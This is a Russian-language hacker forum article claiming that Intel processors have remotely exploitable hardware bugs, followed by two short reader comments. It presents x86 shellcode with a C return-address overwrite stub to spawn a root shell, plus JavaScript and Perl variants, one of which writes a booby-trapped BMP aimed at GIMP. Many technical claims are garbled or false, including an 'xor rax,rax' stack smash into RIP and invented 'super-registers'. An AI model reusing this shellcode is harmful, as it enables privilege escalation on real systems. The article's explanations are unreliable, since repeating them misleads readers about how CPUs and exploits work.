R0 CREW

Аппаратные Баги : [Микропроцессоры]

Аппаратные Баги : [Микропроцессоры]
Итак привет мой друх, сегодня я тебе расскажу о багах в микропроцессорах и как их можно
эксплуатировать=))
Начнем с того что ты даже наверное и не задумывался о багах CPU…
А они там есть, и их там достаточно… А если честно их там до хрена=))
А в каких моделях ?!
А во всех, во всех, ВО ВСЕХ !!! Все процессоры которые выпускались с начала 1993 года
подвержены переполнению буфера, кеша, атакам типа срыв стека, разного рода DOS’ам
и т.д.
А как реализовывать атаки на микропроцессоры, ведь это же не программа какая нибудь…
И вообще как это себе представить ?!
На все интересующие тебя вопросы ты получишь ответ в этой статье, а если этого не достаточно
можешь задавать их мне снизу =))

Ладно теперь немного теории:
Все баги микропроцессоров связанны с неправильным проктированием его внутренних блоков
(Тригеры,АЛУ, КЕШ,Регистры,Конверторы, Мультиплексоры и т.д).
Но основная их доля приходится на кеш (L1,L2, и верхний расширяющий L3-кэш).
Вообще многие white хакеры-гуру уже давно (первый раз это было 1995 году) предупреждали всех о том что
через процессоры содержащие такие баги, можно выполнять несанкционированые действия , вплоть до удаленного
захвата системы=)))) Но а если считать о том что эта новость вылилась в прессу, то датой обнаружения этих багов
должен быть 2007 год. А “нашел” эти дыры некто как Тео де Раадт (Theo de Raadt). Он обнаружил эти дыры
в быдло процессоре Intel Core2Duo. У тебя тоже Core2Duo ?!
Сожалею =))
Он осветил несколько дырок в этих быдло процессорах, и рассказал о том что эти дырки действительно представляют
опастность, Некоторые даже критическую =)) Но этот парень кроме слов ничего так и не сделал…
Год спустя в мире появилась новая новость которая так и поразила всех:
“Хакер Крис Касперски (мыщъх) сказал что взломает любую систему (Windows,Linux,BSD,*nix) на которой установлен
микропроцессор Intel”. Не правда занятно ?! А?!
Как он сам сказал то что на конференции HITB(Hack in The BOX) в Малайзии он продемонстрирует взлом системы
с установленным Intel’ом при помощи эксплойтов на Java Script & TCP/IP пакета=))

IntelCore2Duo:
########################################################################################################
мыщъх:
Процессоры Itel Core2Duo (и не только они содержат) множество ошибок, приводящие к сбоям
программного обеспечения, зависаниям опрационной системы и даже возможности удаленного захвата
управления компьютером! Часть ошибок обходится программным путем, часть обновлением микрода ЦП
или прошивки BIOS, оставшиеся - неисправимы и требуют смены процессора. Насколько реальны
эти угрозы ?! Попробуем разобраться !

Критикуя Windows (и отчасти Linux) за большое количество программных ошибок , мы “по умодчанию”
закладываемся на не порочность аппаратного обеспечения, проектировщики которого ничем не отличаются
от разработчиков опреционных систем. ДО тех пор, пока процессоры были простыми (относительно операционных систем),
выходили редко и тестировались тщательно-ошибки “кремнеевых коней” носили единичных характер и учитывались
разработчиками компиляторов. Сейчас они представляют разве что познавательный интерес.
Легендарный “Hamarsoft 86BUGS list”, насчитывающий свыши сотни ошибок, недокументированных машинных команд
и особенностей их поведения , последний раз обновлялся в 1994 году, после чего отправилсяна свалку истории , захлебнувшись
в потоке дефектов, обнаруженных в превых моделях Pentium процессоров причем ни один из этих дефектов (за исключением
знаменитой ошибки деления, описанной в одноименной врезке) до широкой общественности так и не дошел, ограничевшись
кругом производителей материнских плат, прошивок BIOS , разработчиков операционных систем/компиляторов и прочей
технической элитой.

Возьмем , к присмеру, инструкцию побитового сканирования

BFS dst,scr

копирующую в dst индекс первого быита в scr.Как вам нравится тот факт, что если scr Равен нулю, то содержимое dst становится
неопределенным, то есть там может оказаться любой мусор, что серьезно осложняет отладку программ.
Допустим , на машине разработчика установлен dst неизменным,и разработчик (или его компилятор) закладывается именно на такое поведение
ЦП. А вот у конечного пользователя dst может сбрасываться в нуль , нарушая работоспособность порграммы и заставляя разработчика теряться
в догадках , с какого момента программа пошла в разнос. Обычно в таких случаях все списывается на Windows или “у вас на компьютере вирусы”,
“переустановите операционную систему…
ах вы уже переустановили ?! ну тогда мы не знаем, разбирайтесь со своей машиной сами”
########################################################################################################

Кстати , это уже давно не ошибка а в полне документированная особенность. Intel даже приводит псевдокод команды BSF во втором
томе “Instruction Set Reference”. Вообще крутая книжка =)) Советую всем качнуть и почитать, там очень много можно узнать и
про CPU и про недокументированные комманды и возможности=))

PS: Еще одна уязвимость обнаруженная уже почти 12 лет назад это баг в АЛУ при обработке такого примера как этот:

x-(x/y)*y
[при y!=0]

при нормальном раскладе результат должен получиться равным 0. Но вот микропоцессор Pentium I выдавал
значение 256 при x=2147483647 & y =2147423648. Поразительная точность не правда ли ?!=D))))))))))))))))))))))))))))))))))))))))))

Еще одна уязвимость переполнение буфера в регистре [переход за пределы FFFFFFFF-для 32-х битных и FFFFFFFFFFFFFFFF - для 64 bit]

Пример для 64-bit Intel Itanium (моя находка=))) :

mov rax, 0FFFFFFFFFFFFFFFFh ;вносим значение FFFFFFFFFFFFFFFF в RAX
mov rbx, 0FFFFFFFFFFFFFFFFh; вносим значение FFFFFFFFFFFFFFFF в RBX
nop ; Тупо забиваем NOP'ом
nop ; Тупо забиваем NOP'ом
nop ; Тупо забиваем NOP'ом
add rax,rbx; Суммируем два значения и вносим значение в rax
xor rax,rax ; <- Срыв Стека =)) при обнулении регистра =((

Вот так , все что не поместилось в регистр rax будет свободно перемещено в указатель стека RIP =))
Таким образом мы можем выполнить свой код на атакуемой машине =)))
Становится еще жарче ?!
Дальше копаясь нашел еше один баг связанный с CPUID регистром=)) (Чуть не забыл, у меня микропроцессор Intel Extreme 3.00 c HTT)
Вот где - где но тут я даже не ожидал найти такой баг, а баг заключается в том, что при передачи программы
в супер-регистры (которые до этих пор я считал супер неуязвимыми) после обнуления регистра eax, происходит
переполнение буфера, => срыв стека, а дальше … Ну вы сами знаете что дальше делать…=)))
Вот я и решил испробовать этот баг и написал сплойт под Linux/x86 для захвата ["/bin/sh"] c root - привилегиями=))

Привожу код на C++ с моими коментами:

// Здесь может быть ваша реклама=))
#include <...>
#include <...> // Защита от ботов[ламерков], или юзаем по - вкусу =))
#include <...>
char shellcode[] = 

"\x31\xc0" // xor %eax,%eax 
"\x0f\xa2" // cpuid 
"\x51" // push %ecx 
"\x68\xe7\x95\xa8\xec" // push $0xeca895e7 
"\x68\xde\x7f\x37\x3f" // push $0x3f377fde 
"\x68\x07\x1a\xec\x8f" // push $0x8fec1a07 
"\x68\x6e\x1c\x4a\x0e" // push $0x0e4a1c6e 
"\x68\x06\x5b\x16\x04" // push $0x04165b06 

//
// <_unpack_loop>:
//

"\x31\x0c\x24" // xor %ecx,(%esp) 
"\x5a" // pop %edx 
"\x75\xfa" // jne <_unpack_loop> 
"\x83\xec\x18" // sub $0x18,%esp 
"\x54" // push %esp 
"\xc3"; // ret 

int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}

Вот и все компилим… получаем готовую linux_x86 RootShell открывалку=))
Этот сплойт работает только локально, но если постараться можно перефигачить для удаленного взлома=)
Чуть не забыл , адресс возврата шелкода 0x6c65746e, возвращается функцией ‘letn’.
Ладно, это все хорошо но как мыщъх перефигачил такого рода сплойт под java script ?!
Вообще-то есть много способов перевода сплойтов на другие языки.
Вот например я перевел этот сплойт на Java Script:

<html>
<script>
// Определяю массив для шелкода и бабахаю сюда весь байт-код
var shellcode =[
['0x31','0xC0','0x0F','0xA2','0x51','0x68','0xE7','0x95','0xA8','0xEC','0x68','0xDE','0x7F','0x37',], 
['0x3F','0x68','0x07','0x1A','0xEC','0x8F','0x68','0x6E','0x1C','0x4A','0x0E','0x68','0x06','0x5B','0x16','0x04'],
['0x31','0x0C','0x24','0x75','0xFA','0x83','0xEC','0x18','0x54','0xC3']
]
///.....
eval (exec (shellcode)); // Выполняем шелкод=))
///..... Пиво и Колу по вкусу=))
</script>
</html>

Вот еще одна модификация моего shellcode’а на PERL:

#!usr/bin/perl -w
# Кстати можно вот эту хрень и не использовать=)
use strict 
# Вот это байт-код стандартного BMP хидера 
my $bmp_header = "0xDE\0x89\0xCA\0xC5\0x8B\0x05\0x25\0x7" 
# Этот код выполняет переполнени буфера в программе GIMP // работает до версии 2.x.x
my gimp_overflow = "0xCC\0x56\0x5E\0x90\0x90\0x50\0xFC\0x6F"

# Вот и наш шелкод =))
my $shellcode = 
"0x31\0xC0\0x0F\0xA2\0x51\0x68\0xE7\0x95\0xA8\0xEC\0x68\0xDE\0x7F\0x37".
"\0x3F\0x68\0x07\0x1A\0xEC\0x8F\0x68\0x6E\0x1C\0x4A\0x0E\0x68\0x06\0x5B".
"\0x16\0x04\0x31\0x0C\0x24\0x75\0xFA\0x83\0xEC\0x18\0x54\0xC3";
# Создаем файл в который нам надо сохранить наш шелкод [xploit.bmp]
open (out, "> xploit.bmp");
# Вот эта функция преобразует наши HEX-коды в BIN мод (бинарник)
binmode(out);
# Вводим наши переменные с данными им shellcode'ами=))))
print (out $bmp_header,$gimp_overflow,$shellcode);
# Сохраняем и закрываем наш файл
close (out);
# Если ты владеешь другими языками , ты можешь также переписать этот сплойт под себя=)
# Лично я владею : ASM, C/C++/C#, PHP, PERL, Java Script ,немного Python...
# Да хватит о бо мне , записался я , а ведь страница не ризиновая (хотя жаль,очень жаль) надо заканчивать !

Вот и все наверное на сегодня … Фу блин еще одна статья готова=))
Ты наверное уже получил достаточно информации про баги в микропроцессорах. Я затронул сегодня тему
только Intel CPU , но в следующий раз мы с тобой рассмотрим баги в микропроцессорах AMD (x86 & x64),
познакомимся с новыми методами изготовления сплойтов под 64-х битные процы и узнаем много нового=))
Кстати вся информация преведенная здесь, предоставленна мной только в познавательных целях !! За незаконное
использование этой статьи я и администрация сайта не несёт ответственности.
Shellcode - это хорошо, но не НЕЗАБЫВАЙ о том что за неправомерный доступ к информации тебя ждет решеточка=(
Конечно за взлом своего компьютера или компьютера подключенного к сети твоего старого универа тебе нечего не грозит=)
так что работай головой=))
И не забывай то что МЫ кодокопатели - народ почти вымершей расы хакеров борящихся за справедливость в этой жизни,
а не НАОБОРОТ !!! diablo

СПС за ВНИМАНИЕ !!!
С вами был 4k4 S4NJ {sacura}
Th4nk$ : nezumi {aka мыщъх} & 4ll p30pl3 wh0 kn0w m3 =))

Охрененно!
На каких ещё процессорах действует?

что такое супер регистры?